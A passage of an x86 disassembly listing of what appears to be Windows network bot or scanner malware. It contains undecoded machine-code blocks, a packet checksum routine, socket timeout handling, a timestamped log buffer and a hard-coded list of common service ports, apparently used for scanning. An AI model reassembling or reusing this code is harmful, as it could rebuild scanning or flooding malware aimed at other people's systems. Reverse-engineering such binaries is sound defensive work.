		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABACh, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAFA4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0A415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435E0468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435DB468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22BBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EE068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C870E800h, 2B900226h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF48h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D5A468h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	3868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435F14h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436104h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh
		dd 50004CAFh, 4360B468h, 8D1BEB00h, 0FF500C45h,	4CAFE415h
		dd 0FFF88300h, 15FF2075h, 4CAF38h, 60706850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 604468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7583Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D5A468ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h
		dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch
		dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h
		dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h
		dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h,	523D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch
		dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h,	546852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE338h, 0FFF475FFh,	4CB00815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 73E890FCh, 2B0226C3h, 0D233F845h,	3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 613068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF4C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h,	0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB02415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E7CCBF83h, 6068004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 5C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h
		dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h
		dd 0A366286Ah, 4CE76Ch,	0AFA415FFh, 0D80004Ch, 4CE770h
		dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh
		dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h
		dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh
		dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh
		dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h
		dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h,	4CE7A81Dh
		dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh
		dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh
		dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch
		dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h
		dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h,	7CBE5905h
		dd 0BF004CE7h, 4CE7ACh,	721D8966h, 66004CE7h, 0E78C1D89h
		dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h
		dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h,	286A5300h
		dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0C7E890FFh, 2B0226BCh, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25B496E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D160
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D160[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D178[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42923C
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436178
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D160


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436164
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 277068Eh
		mov	ebx, offset dword_4D2BCC
		mov	edi, 80h
		mov	esi, offset dword_4CEBCC


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEBCC
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2BCC
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4361C4
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_4361B0
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361F4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEBCC


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2BCC
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361D8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


